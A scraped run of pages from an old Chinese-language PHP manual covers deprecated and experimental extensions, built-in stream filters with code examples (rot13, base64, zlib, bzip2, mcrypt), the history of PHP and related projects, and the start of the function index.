  • 参考 CLVIII, XMLReader functions

  • 参考 CLXI, YAZ Functions

  • 参考 CLXIII, Zip File Functions (Read Only Access)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
扩展库分类 | 上一级 | 按状态分


按状态分

以下列出的扩展库不适用于实际运作环境中――要么太老（已废弃），要么太新（试验中）。

已废弃的扩展库

以下扩展库已被废弃，通常有更好的扩展库替代。

  • 参考 VI, Aspell 函数（已废弃）

  • 参考 X, CCVS API Functions [deprecated]

  • 参考 XXV, DBM Functions [deprecated]

  • 参考 LI, ICAP Functions [deprecated]

  • 参考 LXXVI, Mimetype Functions

  • 参考 XCII, Object property and method call overloading

  • 参考 CXXX, SESAM Database Functions

试验中的扩展库

以下扩展库的行为――包括其中函数名和任何其它文档中的说明――可能没有任何通知就在未来发布的 PHP 中改变。要使用风险自担。

  • 参考 I, .NET 函数

  • 参考 CVII, PHP / Java Integration

  • 参考 LXVI, mailparse Functions

  • 参考 LXXXIII, muscat Functions

  • 参考 XCI, Object Aggregation/Composition Functions

  • 参考 CVI, PDO Functions

  • 参考 CXXV, SDO Functions

  • 参考 CXXVII, SDO XML Data Access Service Functions

  • 参考 CXXVI, SDO Relational Data Access Service Functions

  • 参考 CLI, vpopmail Functions

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
按归属分 | 上一级 | 函数别名列表


可用过滤器列表

PHP 手册
后退 前进

附录 M. 可用过滤器列表

目录
字符串过滤器
转换过滤器
压缩过滤器
加密过滤器

下面列出了用在 stream_filter_append() 中的几个内置的流过滤器。用户的 PHP 版本中的过滤器也许比这里列出的更多（或更少）。

值得指出 stream_filter_append() 与 stream_filter_prepend() 之间有少许不平衡。每个 PHP 流都含有一个小的读取缓冲区，它存储了来自文件系统或其它资源的几段数据以便更有效率地处理。数据一从资源进入流的内部缓冲区，立刻被附上的过滤器处理而不管 PHP 程序是否真的已经准备好接收数据。当过滤器是 appended 时如果数据等待在读取缓冲区，数据将被立即通过过滤器处理，使其效果看上去是透明的。然而当过滤器是 prepended 时如果数据等待在读取缓冲区，数据将不会被该过滤器处理。该数据将会等到从资源取得下一段数据后才会被处理。

用 stream_get_filters() 来列出 PHP 中已安装的过滤器。

字符串过滤器

每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。对于指定过滤器的更多信息，请参考该函数的手册页。

string.rot13（自 PHP 4.3.0 起）使用此过滤器等同于用 str_rot13() 函数处理所有的流数据。

例子 M-1. string.rot13

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Outputs:  Guvf vf n grfg.   */
?>

string.toupper（自 PHP 5.0.0 起）使用此过滤器等同于用 strtoupper() 函数处理所有的流数据。

例子 M-2. string.toupper

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Outputs:  THIS IS A TEST.   */
?>

string.tolower（自 PHP 5.0.0 起）使用此过滤器等同于用 strtolower() 函数处理所有的流数据。

例子 M-3. string.tolower

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Outputs:  this is a test.   */
?>

string.strip_tags（自 PHP 5.0.0 起）使用此过滤器等同于用 strip_tags() 函数处理所有的流数据。可以用两种格式接收参数：一种是和 strip_tags() 函数第二个参数相似的一个包含有标记列表的字符串，一种是一个包含有标记名的数组。

例子 M-4. string.strip_tags

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
音频流 | 上一级 | 转换过滤器


压缩过滤器

虽然压缩封装协议提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法，但不代表可以在网络的流中提供通用压缩的意思，也不代表可以将一个非压缩的流转换成一个压缩流。对此，压缩过滤器可以在任何时候应用于任何流资源。

注: 压缩过滤器不产生命令行工具如 gzip 的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

zlib.deflate（压缩）和 zlib.inflate（解压）实现了定义与 RFC 1951 的压缩算法。deflate 过滤器可以接受以一个关联数组传递的最多三个参数。level 定义了压缩强度（1-9）。数字更高通常会产生更小的载荷，但要消耗更多的处理时间。存在两个特殊压缩等级：0（完全不压缩）和 -1（zlib 内部默认值，目前是 6）。window 是压缩回溯窗口大小，以二的次方表示。更高的值（大到 15 ―― 32768 字节）产生更好的压缩效果但消耗更多内存，低的值（低到 9 ―― 512 字节）产生产生较差的压缩效果但内存消耗低。目前默认的 window 大小是 15。memory 用来指示要分配多少工作内存。合法的数值范围是从 1（最小分配）到 9（最大分配）。内存分配仅影响速度，不会影响生成的载荷的大小。

注: 因为最常用的参数是压缩等级，也可以提供一个整数值作为此参数（而不用数组）。

zlib.* 压缩过滤器自 PHP 版本 5.1.0 起可用，在激活 zlib 的前提下。也可以通过安装来自 PECL 的 zlib_filter 包作为一个后门在 5.0.x 版中使用。此过滤器在 PHP 4 中不可用。

例子 M-7. zlib.deflate 和 zlib.inflate

<?php
$params = array('level' => 6, 'window' => 15, 'memory' => 9);

$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";

$fp = fopen('test.deflated', 'w');
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);

echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');

/* Generates output:

The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.

*/
?>

例子 M-8. zlib.deflate 简单参数用法

<?php
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";

$fp = fopen('test.deflated', 'w');
/* Here "6" indicates compression level 6 */
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, 6);
fwrite($fp, $original_text);
fclose($fp);

echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";

/* Generates output:

The original text is 70 characters long.
The compressed file is 56 bytes long.

*/
?>

bzip2.compress 和 bzip2.decompress 工作的方式与上面讲的 zlib 过滤器相同。bzip2.compress 过滤器接受以一个关联数组给出的最多两个参数：blocks 是从 1 到 9 的整数值，指定分配多少个 100K 字节的内存块作为工作区。work 是 0 到 250 的整数值，指定在退回到一个慢一些，但更可靠的算法之前做多少次常规压缩算法的尝试。调整此参数仅影响到速度，压缩输出和内存使用都不受此设置的影响。将此参数设为 0 指示 bzip 库使用内部默认算法。bzip2.decompress 过滤器仅接受一个参数，可以用普通的布尔值传递，或者用一个关联数组中的 small 单元传递。当 small 设为 TRUE 值时，指示 bzip 库用最小的内存占用来执行解压缩，代价是速度会慢一些。

bzip2.* 压缩过滤器自 PHP 版本 5.1.0 起可用，在激活 bz2 支持的前提下。也可以通过安装来自 PECL 的bz2_filter 包作为一个后门在 5.0.x 版中使用。此过滤器在 PHP 4 中不可用。

例子 M-9. bzip2.compress 和 bzip2.decompress

<?php
$param = array('blocks' => 9, 'work' => 0);

echo "The original file is " . filesize('LICENSE') . " bytes long.\n";

$fp = fopen('LICENSE.compressed', 'w');
stream_filter_append($fp, 'bzip2.compress', STREAM_FILTER_WRITE, $param);
fwrite($fp, file_get_contents('LICENSE'));
fclose($fp);

echo "The compressed file is " . filesize('LICENSE.compressed') . " bytes long.\n";

/* Generates output:

The original text is 3288 characters long.
The compressed file is 1488 bytes long.

*/
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
转换过滤器 | 上一级 | 加密过滤器


转换过滤器

如同 string.* 过滤器，convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息，请参考该函数的手册页。

convert.base64-encode 和 convert.base64-decode 使用这两个过滤器等同于分别用 base64_encode() 和 base64_decode() 函数处理所有的流数据。convert.base64-encode 支持以一个关联数组给出的参数。如果给出了 line-length，base64 输出将被用 line-length 个字符为 长度而截成块。如果给出了 line-break-chars，每块将被用给出的字符隔开。这些参数的效果和用 base64_encode() 再加上 chunk_split() 相同。

例子 M-5. convert.base64-encode & convert.base64-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs:  VGhpcyBpcyBhIHRlc3QuCg==  */

$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs:  VGhpcyBp
          :  cyBhIHRl
          :  c3QuCg==  */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs:  This is a test.  */
?>

convert.quoted-printable-encode 和 convert.quoted-printable-decode 使用此过滤器的 decode 版本等同于用 quoted_printable_decode() 函数处理所有的流数据。没有和 convert.quoted-printable-encode 相对应的函数。convert.quoted-printable-encode 支持以一个关联数组给出的参数。除了支持和 convert.base64-encode 一样的附加参数外，convert.quoted-printable-encode 还支持布尔参数 binary 和 force-encode-first。convert.base64-decode 只支持 line-break-chars 参数作为从编码载荷中剥离的类型提示。

例子 M-6. convert.quoted-printable-encode & convert.quoted-printable-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs:  =This is a test.=0A  */
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
可用过滤器列表 | 上一级 | 压缩过滤器


加密过滤器

mcrypt.* 和 mdecrypt.* 使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法，格式为 mcrypt.ciphername，其中 ciphername 是密码的名字，将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用：

表格 M-1. mcrypt 过滤器参数

参数 | 是否必须 | 默认值 | 取值举例
mode | 可选 | cbc | cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir | 可选 | ini_get('mcrypt.algorithms_dir') | algorithms 模块的目录
modes_dir | 可选 | ini_get('mcrypt.modes_dir') | modes 模块的目录
iv | 必须 | N/A | 典型为 8，16 或 32 字节的二进制数据。根据密码而定
key | 必须 | N/A | 典型为 8，16 或 32 字节的二进制数据。根据密码而定

例子 M-10. 用 3DES 将文件加密输出

<?php
$passphrase = 'My secret';

/* Turn a human readable passphrase
* into a reproducable iv/key pair
*/
$iv = substr(md5('iv'.$passphrase, true), 0, 8);
$key = substr(md5('pass1'.$passphrase, true) .
               md5('pass2'.$passphrase, true), 0, 24);
$opts = array('iv'=>$iv, 'key'=>$key);

$fp = fopen('secert-file.enc', 'wb');
stream_filter_append($fp, 'mcrypt.tripledes', STREAM_FILTER_WRITE, $opts);
fwrite($fp, 'Secret secret secret data');
fclose($fp);
?>

例子 M-11. 读取加密的文件

<?php
$passphrase = 'My secret';

/* Turn a human readable passphrase
* into a reproducable iv/key pair
*/
$iv = substr(md5('iv'.$passphrase, true), 0, 8);
$key = substr(md5('pass1'.$passphrase, true) .
               md5('pass2'.$passphrase, true), 0, 24);
$opts = array('iv'=>$iv, 'key'=>$key);

$fp = fopen('secert-file.enc', 'rb');
stream_filter_append($fp, 'mdecrypt.tripledes', STREAM_FILTER_WRITE, $opts);
$data = rtrim(stream_get_contents($fp));
fclose($fp);

echo $data;
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
压缩过滤器 | 上一级 | 所支持的套接字传输器（Socket Transports）列表


PHP 及其相关工程的历史

PHP 手册
后退 前进

附录 A. PHP 及其相关工程的历史

目录
PHP 的历史
PHP 相关工程的历史
PHP 相关书籍
PHP 相关文章

PHP 在过去的几年里走过了漫长的道路。成长为处理 web 的最卓越的语言并非易事。如果对 PHP 如何发展到今天很感兴趣，那么请继续读下去吧。以前的 PHP 发行版可以在 PHP 博物馆找到。

PHP 的历史

PHP/FI

PHP 继承自一个老的工程，名叫 PHP/FI。PHP/FI 在 1995 年由 Rasmus Lerdorf 创建，最初只是一套简单的 Perl 脚本，用来跟踪访问他主页的人们的信息。它给这一套脚本取名为“Personal Home Page Tools”。随着更多功能需求的增加，Rasmus 写了一个更大的 C 语言的实现，它可以访问数据库，可以让用户开发简单的动态 Web 程序。Rasmus 发布了 PHP/FI 的源代码，以便每个人都可以使用它，同时大家也可以修正它的 Bug 并且改进它的源代码。

PHP/FI，一个专为个人主页／表单提供解释程序的程序，已经包含了今天 PHP 的一些基本功能。它有着 Perl 样式的变量，自动解释表单变量，并可以嵌入 HTML。语法本身与 Perl 很相似，但是它很有限，很简单，还稍微有些不协调。

到1997年，PHP/FI 2.0，也就是它的 C 语言实现的第二版在全世界已经有几千个用户（估计）和大约 50,000 个域名安装，大约是 Internet 所有域名的 1%。但是那时只有几个人在为该工程撰写少量当代码，它仍然只是一个人的工程。

PHP/FI 2.0 在经历了数个 beta 版本的发布后于 1997 年 11 月发布了官方正式版本。不久，PHP 3.0 的第一个 alpha 版本的发布，PHP 从此走向了成功。

PHP 3

PHP 3.0 是类似于当今 PHP 语法结构的第一个版本。Andi Gutmans 和 Zeev Suraski 在为一所大学的项目中开发电子商务程序时发现 PHP/FI 2.0 功能明显不足，于是他们重写了代码。这就是 PHP 3.0。经过Andi，Rasmus 和 Zeev 一系列的努力，考虑到 PHP/FI 已存在的用户群，他们决定联合发布 PHP 3.0 作为 PHP/FI 2.0 的官方后继版本。而 PHP/FI 2.0 的进一步开发几乎终止了。

PHP 3.0 的一个最强大的功能是它的可扩展性。除了给最终用户提供数据库、协议和 API 的基础结构，它的可扩展性还吸引了大量的开发人员加入并提交新的模块。后来证实，这是 PHP 3.0 取得巨大成功的关键。PHP 3.0 中的其它关键功能包括面向对象的支持和更强大和协调的语法结构。

这个全新的语言伴随着一个新的名称发布。它从 PHP/FI 2.0 的名称中移去了暗含“本语言只限于个人使用”的部分。它被命名为简单的缩写“PHP”。这是一种递归的缩写，它的全称是――PHP: Hypertext Preprocessor。

1998 年末，PHP 的安装人数几近 10,000，有大约 100,000 个网站报告他们使用了 PHP。在 PHP 3.0 的顶峰，Internet 上 10% 的 web 服务器上都安装了它。

约九个月的公开测试后，官方于 1998 年 6 月正式发布 PHP 3.0。

PHP 4

1998 年的冬天，PHP 3.0 官方发布不久，Andi Gutmans 和 Zeev Suraski 开始重新编写 PHP 代码。设计目标是增强复杂程序运行时的性能和 PHP 自身代码的模块性。PHP 3.0 的新功能和广泛的第三方数据库、API的支持使得这样程序的编写成为可能，但是 PHP 3.0 没有高效处理如此复杂程序的能力。

新的被称为“Zend Engine”（这是 Zeev 和 Andi 的缩写）的引擎，成功的实现了设计目标，并在 1999 年中期首次引入 PHP。基于该引擎并结合了更多新功能的 PHP 4.0，在 PHP 3.0 发布两年后，于2000年5月发布了官方正式版本。除了更高的性能以外，PHP 4.0 还包含了其它一些关键功能，比如：支持更多的 web 服务器；HTTP Sessions 支持；输出缓冲；更安全的处理用户输入的方法；一些新的语言结构。

今天，已经有 10,000 名开发人员（估计）和几百万网站报告已安装了 PHP，占整个 Internet 域名的 20%。

PHP 的开发小组有很多优秀的开发人员，同时还有大量的优秀人才在进行 PHP 相关工程的开发工作，如 PEAR 和 PHP 文档的工程。

PHP 5

PHP 5 在长时间的开发及多个预发布版本后，于 2004 年 7 月发布正式版本。它的核心是 Zend 引擎 2 代，引入了新的对象模型和大量新功能。请访问其网站以获取更多关于该引擎的信息。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
附录 | 上一级 | PHP 相关工程的历史


PHP 相关书籍

随着 PHP 的成长，人们越来越认识到它是一个世界流行的开发平台。看到这种趋势的最有趣方法之一就是：这些年 PHP 相关书籍越来越多。

据我们所知，最早的 PHP 专业书籍是“php- dynamische webauftritte professionell realisieren”――一本 1999 年出版的德国书籍，作者是 Egon Schmid、Christian Cartus 和 Richard Blume。第一本关于 PHP 的英文书随后出版，书名是“Core PHP Programming”，作者为：Leon Atkinson。这两本书都是写 PHP 3.0 的。

这两本书是这类图书的第一本――随后，大量的 PHP 相关图书上市。英文版本超过 40 种，德文 50 种，法文 20 种！除此之外，你可以发现西班牙文、韩文、日文、中文和希伯来文等等语言版本的 PHP 相关图书。

这么大量的图书，这么多作者的写作，这么多出版商的出版，并出现了这么多语言的版本――这强烈的证明 PHP 在世界范围内的成功！

add a note add a note User Contributed Notes
imajes at php dot net
04-Jan-2002 05:27
If you are looking for books on php, you may find some here:

http://www.php.net/books.php
add a note add a note

后退 | 起点 | 前进
PHP 相关工程的历史 | 上一级 | PHP 相关文章


PHP 相关文章

据我们所知，关于 PHP 的在杂志上的第一篇文章于 1998 年末在法国的“Informatiques Magazine”杂志上发表，是描述 PHP 3.0 的。据记载，这是大量出版在杂志上 PHP 相关文章的第一篇。

关于 PHP 的文章出现在 Dr. Dobbs、Linux Enterprise、Linux Magazine 等等出版物上。关于在 Windows 下如何转换 ASP 程序到 PHP 的文章甚至出现在了微软自己的 MSDN 上！

add a note add a note User Contributed Notes
craig dot cmehil at sap dot com
31-Aug-2005 08:39
For those moving into specific areas of PHP and interacting with other systems there are some great publications about SAP, http://www.sap.com, interacting with PHP found on SDN, http://sdn.sap.com.

https://forums.sdn.sap.com/thread.jspa?threadID=38415&tstart=0
philip at cornado dot com
28-Mar-2002 09:06
The following faqt lists articles and comparisons of PHP, it's slightly old but contains links to many articles.

http://www.faqts.com/knowledge_base/view.phtml/aid/9082
add a note add a note

后退 | 起点 | 前进
PHP 相关书籍 | 上一级 | 从 PHP 4 移植到 PHP 5


PHP 相关工程的历史

PEAR

PEAR，PHP 扩展与应用资源库（PHP Extension and Application Repository，原为 PHP Extension and Add-on Repository）是 PHP 程序的基础类，并可能在将来增强为在开发人员间分发 PHP 和 C 语言编写的 PHP 扩展的关键方法。

PEAR 在 2000 年 1 月于 Tel Aviv 举行的 PHP 开发者会议（PDM）中诞生。这个工程由 Stig S. Bakken 创建。现在，他正专注于他的第一个小女儿，Malin Bakken。

2000 年早些时候，PEAR 已经成长为一个巨大的，有意义的工程。大量的开发人员在为实现普通的、可重用的、功能强大的代码而努力工作着。这给整个 PHP 团体都带来极大的益处。今天 PEAR 包含了大量的基础类，包括数据库访问、内容缓存、数学计算、电子商务等等。

有关 PEAR 的更多信息见其手册。

PHP 质量保证体系（QA）

PHP 质量保证体系于2000年夏设立，因为用户批评 PHP 在发布前没有进行足够的针对产品环境的测试。质量保证小组由精通 PHP 基础代码的核心人员组成。这些开发人员将精力花费在本地化和修复 PHP 的 bug 上。除此之外，其他小组成员也在各种不同的平台上对这些修复进行测试并提供反馈信息。

PHP-GTK

PHP-GTK 是编写客户端图形用户界面（GUI）程序的 PHP 解决方案。Andrei Zmievski 回忆了 PHP-GTK 计划和创建的过程：

“我总是对 GUI 编程有着浓厚的兴趣。我发现 Gtk+ 是一个非常好的工具包，除了一点――它使用的 C 语言很令人乏味。目睹了 PyGtk 和 GTK-Perl 的实现，我决定尝试 PHP 是否也能够被做成 Gtk+ 的接口。2000 年 8 月，我有了更多的业余时间，于是我开始试验。我参考了 PyGtk 的实现方法，因为它有着相当完全的实现和漂亮的面向对象的接口。James Henstridge，PyG 的作者，在最初的筹备阶段提供了极大的帮助。

“手工写 Gtk+ 函数全部的接口几乎是不可能的事情，所以我把重点放在了代码生成上，就像 PyGtk 做的一样。代码生成器是一个PHP 程序，它可以读取包含 Gtk+ 类、常量和方法信息的一系列的 .defs 文件并生成与 PHP 相接口的 C 代码。无法自动生成的部分可以提交到 .overrides 文件。

“代码生成器和基础结构的工作花了我一定的时间，因为我在 2000 年秋天这段时间里只能花很少的时间在 PHP-GTK 上。在我把 PHP-GTK 给 Frank Kromann 演示过后，他产生了浓厚的兴趣，并开始帮助我完成代码生成器和 Win32 的实现。当我们写了第一个 Hello World 程序并设法使之工作之时，我们的喜悦之情溢于言表。两个多月后，这个工程初见成效，并于 2001 年 3 月 1 日发布了内部版本。这个故事迅速的打击了 SlashDot。

“感到 PHP-GTK 前景广阔，我便为它专门设置了邮件列表和 CVS 知识库。同时，gtk.php.net 网站也在 Colin Viebrock 的帮助下建立起来。文档的工作也由 James Moore 承担起来。

“PHP-GTK 发布之后，它愈加流行。我们有自己的文档小组，手册持续更新。人们开始为 PHP-GTK 编写扩展。越来越多的程序已经开始使用它了。”

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 及其相关工程的历史 | 上一级 | PHP 相关书籍


函数索引

A

abs()
acos()
acosh()
addcslashes()
addslashes()
aggregate()
aggregate_info()
aggregate_methods()
aggregate_methods_by_list()
aggregate_methods_by_regexp()
aggregate_properties()
aggregate_properties_by_list()
aggregate_properties_by_regexp()
aggregation_info()
apache_child_terminate()
apache_get_modules()
apache_get_version()
apache_getenv()
apache_lookup_uri()
apache_note()
apache_request_headers()
apache_reset_timeout()
apache_response_headers()
apache_setenv()
apd_breakpoint()
apd_callstack()
apd_clunk()
apd_continue()
apd_croak()
apd_dump_function_table()
apd_dump_persistent_resources()
apd_dump_regular_resources()
apd_echo()
apd_get_active_symbols()
apd_set_pprof_trace()
apd_set_session()
apd_set_session_trace()
apd_set_socket_session_trace()
array()
array_change_key_case()
array_chunk()
array_combine()
array_count_values()
array_diff()
array_diff_assoc()
array_diff_key()
array_diff_uassoc()
array_diff_ukey()
array_fill()
array_filter()
array_flip()
array_intersect()
array_intersect_assoc()
array_intersect_key()
array_intersect_uassoc()
array_intersect_ukey()
array_key_exists()
array_keys()
array_map()
array_merge()
array_merge_recursive()
array_multisort()
array_pad()
array_pop()
array_push()
array_rand()
array_reduce()
array_reverse()
array_search()
array_shift()
array_slice()
array_splice()
array_sum()
array_udiff()
array_udiff_assoc()
array_udiff_uassoc()
array_uintersect()
array_uintersect_assoc()
array_uintersect_uassoc()
array_unique()
array_unshift()
array_values()
array_walk()
array_walk_recursive()
ArrayIterator::current()
ArrayIterator::key()
ArrayIterator::next()
ArrayIterator::rewind()
ArrayIterator::seek()
ArrayIterator::valid()
ArrayObject::__construct()
ArrayObject::append()
ArrayObject::count()
ArrayObject::getIterator()
ArrayObject::offsetExists()
ArrayObject::offsetGet()
ArrayObject::offsetSet()
ArrayObject::offsetUnset()
arsort()
ascii2ebcdic()
asin()
asinh()
asort()
aspell_check()
aspell_check_raw()
aspell_new()
aspell_suggest()
assert()
assert_options()
atan()
atan2()
atanh()

B

base64_decode()
base64_encode()
base_convert()
basename()
bcadd()
bccomp()
bcdiv()
bcmod()
bcmul()
bcompile_write_file()
bcompiler_load()
bcompiler_load_exe()
bcompiler_parse_class()
bcompiler_read()
bcompiler_write_class()
bcompiler_write_constant()
bcompiler_write_exe_footer()
bcompiler_write_footer()
bcompiler_write_function()
bcompiler_write_functions_from_file()
bcompiler_write_header()
bcpow()
bcpowmod()
bcscale()
bcsqrt()
bcsub()
bin2hex()
bind_textdomain_codeset()
bindec()
bindtextdomain()
bzclose()
bzcompress()
bzdecompress()
bzerrno()
bzerror()
bzerrstr()
bzflush()
bzopen()
bzread()
bzwrite()

C

CachingIterator::__toString()
CachingIterator::hasNext()
CachingIterator::next()
CachingIterator::rewind()
CachingIterator::valid()
CachingRecursiveIterator::getChildren()
CachingRecursiveIterator::hasChildren()
cal_days_in_month()
cal_from_jd()
cal_info()
cal_to_jd()
call_user_func()
call_user_func_array()
call_user_method()
call_user_method_array()
ccvs_add()
ccvs_auth()
ccvs_command()
ccvs_count()
ccvs_delete()
ccvs_done()
ccvs_init()
ccvs_lookup()
ccvs_new()
ccvs_report()
ccvs_return()
ccvs_reverse()
ccvs_sale()
ccvs_status()
ccvs_textvalue()
ccvs_void()
ceil()
chdir()
checkdate()
checkdnsrr()
chgrp()
chmod()
chop()
chown()
chr()
chroot()
chunk_split()
class_exists()
class_implements()
class_parents()
classkit_import()
classkit_method_add()
classkit_method_copy()
classkit_method_redefine()
classkit_method_remove()
classkit_method_rename()
clearstatcache()
closedir()
closelog()
com()
com_addref()
com_create_guid()
com_event_sink()
com_get()
com_get_active_object()
com_invoke()
com_isenum()
com_load()
com_load_typelib()
com_message_pump()
com_print_typeinfo()
com_propget()
com_propput()
com_propset()
com_release()
com_set()
compact()
connection_aborted()
connection_status()
connection_timeout()
constant()
convert_cyr_string()
convert_uudecode()
convert_uuencode()
copy()
cos()
cosh()
count()
count_chars()
cpdf_add_annotation()
cpdf_add_outline()
cpdf_arc()
cpdf_begin_text()
cpdf_circle()
cpdf_clip()
cpdf_close()
cpdf_closepath()
cpdf_closepath_fill_stroke()
cpdf_closepath_stroke()
cpdf_continue_text()
cpdf_curveto()
cpdf_end_text()
cpdf_fill()
cpdf_fill_stroke()
cpdf_finalize()
cpdf_finalize_page()
cpdf_global_set_document_limits()
cpdf_import_jpeg()
cpdf_lineto()
cpdf_moveto()
cpdf_newpath()
cpdf_open()
cpdf_output_buffer()
cpdf_page_init()
cpdf_place_inline_image()
cpdf_rect()
cpdf_restore()
cpdf_rlineto()
cpdf_rmoveto()
cpdf_rotate()
cpdf_rotate_text()
cpdf_save()
cpdf_save_to_file()
cpdf_scale()
cpdf_set_action_url()
cpdf_set_char_spacing()
cpdf_set_creator()
cpdf_set_current_page()
cpdf_set_font()
cpdf_set_font_directories()
cpdf_set_font_map_file()
cpdf_set_horiz_scaling()
cpdf_set_keywords()
cpdf_set_leading()
cpdf_set_page_animation()
cpdf_set_subject()
cpdf_set_text_matrix()
cpdf_set_text_pos()
cpdf_set_text_rendering()
cpdf_set_text_rise()
cpdf_set_title()
cpdf_set_viewer_preferences()
cpdf_set_word_spacing()
cpdf_setdash()
cpdf_setflat()
cpdf_setgray()
cpdf_setgray_fill()
cpdf_setgray_stroke()
cpdf_setlinecap()
cpdf_setlinejoin()
cpdf_setlinewidth()
cpdf_setmiterlimit()
cpdf_setrgbcolor()
cpdf_setrgbcolor_fill()
cpdf_setrgbcolor_stroke()
cpdf_show()
cpdf_show_xy()
cpdf_stringwidth()
cpdf_stroke()
cpdf_text()
cpdf_translate()
crack_check()
crack_closedict()
crack_getlastmessage()
crack_opendict()
crc32()
create_function()
crypt()
ctype_alnum()
ctype_alpha()
ctype_cntrl()
ctype_digit()
ctype_graph()
ctype_lower()
ctype_print()
ctype_punct()
ctype_space()
ctype_upper()
ctype_xdigit()
curl_close()
curl_copy_handle()
curl_errno()
curl_error()
curl_exec()
curl_getinfo()
curl_init()
curl_multi_add_handle()
curl_multi_close()
curl_multi_exec()
curl_multi_getcontent()
curl_multi_info_read()
curl_multi_init()
curl_multi_remove_handle()
curl_multi_select()
curl_setopt()
curl_version()
current()
cybercash_base64_decode()
cybercash_base64_encode()
cybercash_decr()
cybercash_encr()
cyrus_authenticate()
cyrus_bind()
cyrus_close()
cyrus_connect()
cyrus_query()
cyrus_unbind()

D

date()
date_sunrise()
date_sunset()
dba_close()
dba_delete()
dba_exists()
dba_fetch()
dba_firstkey()
dba_handlers()
dba_insert()
dba_key_split()
dba_list()
dba_nextkey()
dba_open()
dba_optimize()
dba_popen()
dba_replace()
dba_sync()
dbase_add_record()
dbase_close()
dbase_create()
dbase_delete_record()
dbase_get_header_info()
dbase_get_record()
dbase_get_record_with_names()
dbase_numfields()
dbase_numrecords()
dbase_open()
dbase_pack()
dbase_replace_record()
dblist()
dbmclose()
dbmdelete()
dbmexists()
dbmfetch()
dbmfirstkey()
dbminsert()
dbmnextkey()
dbmopen()
dbmreplace()
dbplus_add()
dbplus_aql()
dbplus_chdir()
dbplus_close()
dbplus_curr()
dbplus_errcode()
dbplus_errno()
dbplus_find()
dbplus_first()
dbplus_flush()
dbplus_freealllocks()
dbplus_freelock()
dbplus_freerlocks()
dbplus_getlock()
dbplus_getunique()
dbplus_info()
dbplus_last()
dbplus_lockrel()
dbplus_next()
dbplus_open()
dbplus_prev()
dbplus_rchperm()
dbplus_rcreate()
dbplus_rcrtexact()
dbplus_rcrtlike()
dbplus_resolve()
dbplus_restorepos()
dbplus_rkeys()
dbplus_ropen()
dbplus_rquery()
dbplus_rrename()
dbplus_rsecindex()
dbplus_runlink()
dbplus_rzap()
dbplus_savepos()
dbplus_setindex()
dbplus_setindexbynumber()
dbplus_sql()
dbplus_tcl()
dbplus_tremove()
dbplus_undo()
dbplus_undoprepare()
dbplus_unlockrel()
dbplus_unselect()
dbplus_update()
dbplus_xlockrel()
dbplus_xunlockrel()
dbx_close()
dbx_compare()
dbx_connect()
dbx_error()
dbx_escape_string()
dbx_fetch_row()
dbx_query()
dbx_sort()
dcgettext()
dcngettext()
deaggregate()
debug_backtrace()
debug_print_backtrace()
debug_zval_dump()
debugger_off()
debugger_on()
decbin()
dechex()
decoct()
define()
define_syslog_variables()
defined()
deg2rad()
delete()
descriptor->free()
dgettext()
die()
dio_close()
dio_fcntl()
dio_open()
dio_read()
dio_seek()
dio_stat()
dio_tcsetattr()
dio_truncate()
